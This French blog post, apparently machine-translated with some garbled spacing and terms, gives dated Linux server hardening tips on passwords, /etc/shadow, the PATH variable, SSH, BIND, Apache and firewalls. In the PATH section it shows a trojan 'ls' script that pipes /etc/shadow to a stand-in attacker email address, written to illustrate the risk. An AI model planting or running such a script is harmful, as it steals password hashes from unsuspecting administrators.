Conseils de sécurité pour votre Linux (serveur) (partie 1)

Je n'ai rien publié sur le blog depuis longtemps et j'aimerais partager quelques astuces d'un livre qui, (entre autres). Je l'ai trouvé à l'université et je viens de le lire et bien qu'il soit honnêtement un peu dépassé et que les techniques présentées ne fonctionnent très probablement pas compte tenu de l'évolution du système, ce sont aussi des aspects intéressants qui peuvent être montrés.

Je tiens à préciser qu'il s'agit de conseils orientés vers un système Linux utilisé comme serveur, à moyenne ou peut-être à grande échelle, car au niveau de l'utilisateur de bureau, bien qu'ils puissent être appliqués, ils ne seraient pas très utiles.

Je note également qu'il s'agit de simples conseils rapides et que je n'entrerai pas dans les détails, bien que je prévois de faire un autre article beaucoup plus spécifique et complet sur un sujet particulier. Mais je verrai ça plus tard. Commençons.

Politiques de mot de passe. 

Bien que cela ressemble à un slogan, avoir une bonne politique de mot de passe fait la différence entre un système vulnérable ou non. Les attaques telles que la «force brute» profitent du mauvais mot de passe pour accéder à un système. Les conseils les plus courants sont:

• Combinez les majuscules et les minuscules.
• Utilisez des caractères spéciaux.
• Nombres.
• Plus de 6 chiffres (espérons-le plus de 8).

En plus de cela, considérons deux fichiers essentiels.  / etc / passwd et / etc / shadow.

Quelque chose de très important est que le fichier / etc / passwd. En plus de nous donner le nom de l'utilisateur, son uid, le chemin du dossier, bash .. etc. dans certains cas, il montre également la clé cryptée de l'utilisateur.

 Regardons sa composition typique.

desdelinux:FXWUuZ.vwXttg:500:501::/home/usuario1:/bin/bash

utilisateur: cryptkey: uid: gid: path :: path: bash

Le vrai problème ici, c'est que ce fichier particulier a des autorisations -rw-r - r– ce qui signifie qu'il a des autorisations de lecture pour tout utilisateur du système. et avoir la clé cryptée n'est pas très difficile à déchiffrer la vraie.

C'est pourquoi le fichier existe / etc / shadow. C'est le fichier dans lequel toutes les clés utilisateur sont stockées, entre autres. Ce fichier dispose des autorisations nécessaires pour qu'aucun utilisateur ne puisse le lire.

Pour résoudre ce problème, nous devons aller dans le fichier / Etc / passwd et changez la clé cryptée en "x", cela ne sauvegardera que la clé dans notre fichier / etc / shadow.

desdelinux:x:500:501::/home/usuario1:/bin/bash

Problèmes avec le PATH et .bashrc et autres.

Lorsqu'un utilisateur exécute une commande sur sa console, le shell recherche cette commande dans une liste de répertoires contenue dans la variable d'environnement PATH.

Si vous tapez "echo $ PATH" dans la console, cela affichera quelque chose comme ceci.

.:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:/home/carlos/bin

Chacun de ces dossiers est l'endroit où le shell recherchera la commande écrite pour l'exécuter. Il "." cela signifie que le premier dossier à rechercher est le même dossier à partir duquel la commande est exécutée.

Supposons qu'il y ait un utilisateur «Carlos» et que cet utilisateur veuille «faire le mal». Cet utilisateur peut laisser un fichier appelé "ls" dans son dossier principal, et dans ce fichier exécuter une commande comme:

#!/bin/bash
cat /etc/shadow | mail hacker@mail.com
/bin/ls

Et si l'utilisateur root pour les choses de la destination, essaie de lister les dossiers dans le dossier carlos (comme il cherche d'abord la commande dans ce même dossier, il enverrait par inadvertance le fichier avec les mots de passe à cet e-mail, puis les dossiers serait répertorié et il ne le découvrirait que très tard.

Pour éviter cela, nous devons éliminer le "." de la variable PATH.

De la même manière, les fichiers tels que /.bashrc, /.bashrc_profile, ./.login doivent être audités et vérifier qu'il n'y a pas de "." dans la variable PATH, et en fait à partir de fichiers comme celui-ci, vous pouvez changer la destination d'une commande spécifique.

Conseils avec les services:

SHH

• Désactivez la version 1 du protocole ssh dans le fichier sshd_config.
• N'autorisez pas l'utilisateur root à se connecter via ssh.
• Les fichiers et dossiers ssh_host_key, ssh_host_dsa_key et ssh_host_rsa_key ne doivent être lus que par l'utilisateur root.

BIND

• Modifiez le message de bienvenue dans le fichier named.conf afin qu'il n'affiche pas le numéro de version
• Limitez les transferts de zone et activez-le uniquement pour les équipes qui en ont besoin.

Apache

• Empêchez le service d'afficher votre version dans le message de bienvenue. Editez le fichier httpd.conf et ajoutez ou modifiez les lignes:  

ServerSignature Off
ServerTokens Prod

• Désactiver l'indexation automatique
• Configurez Apache pour ne pas servir les fichiers sensibles tels que .htacces, * .inc, * .jsp .. etc.
• Supprimer des pages de manuel ou un échantillon du service
• Exécuter apache dans un environnement chrooté

Sécurité Internet.

Il est essentiel de couvrir toutes les entrées possibles de votre système à partir du réseau externe, voici quelques conseils essentiels pour empêcher les intrus de scanner et d'obtenir des informations de votre réseau.

Bloquer le trafic ICMP

Le pare-feu doit être configuré pour bloquer tous les types de trafic ICMP entrant et sortant et les réponses d'écho. Avec cela, vous évitez que, par exemple, un scanner qui recherche un équipement en direct dans une gamme d'IP vous localise. 

Évitez l'analyse ping TCP.

Une façon d'analyser votre système est l'analyse ping TCP. Supposons que sur votre serveur il y ait un serveur Apache sur le port 80. L'intrus pourrait envoyer une requête ACK à ce port, avec ceci, si le système répond, l'ordinateur sera actif et analysera le reste des ports.

Pour cela, votre pare-feu doit toujours avoir l'option "état de conscience" et doit rejeter tous les paquets ACK qui ne correspondent pas à une connexion ou session TCP déjà établie.

Quelques conseils supplémentaires:

• Utilisez les systèmes IDS pour détecter les scans de ports sur votre réseau.
• Configurez le pare-feu pour qu'il n'approuve pas les paramètres du port de la source de connexion.

En effet, certaines analyses utilisent un «faux» port source tel que 20 ou 53, car de nombreux systèmes font confiance à ces ports car ils sont typiques d'un ftp ou d'un DNS.

REMARQUE: N'oubliez pas que la plupart des problèmes indiqués dans cet article ont déjà été résolus dans presque toutes les distributions actuelles. Mais cela ne fait jamais de mal d'avoir des informations clés sur ces problèmes afin qu'ils ne vous arrivent pas.

REMARQUE: Plus tard, je verrai un sujet spécifique et je ferai un post avec des informations beaucoup plus détaillées et actuelles.

Merci à tous pour la lecture.

Salutations.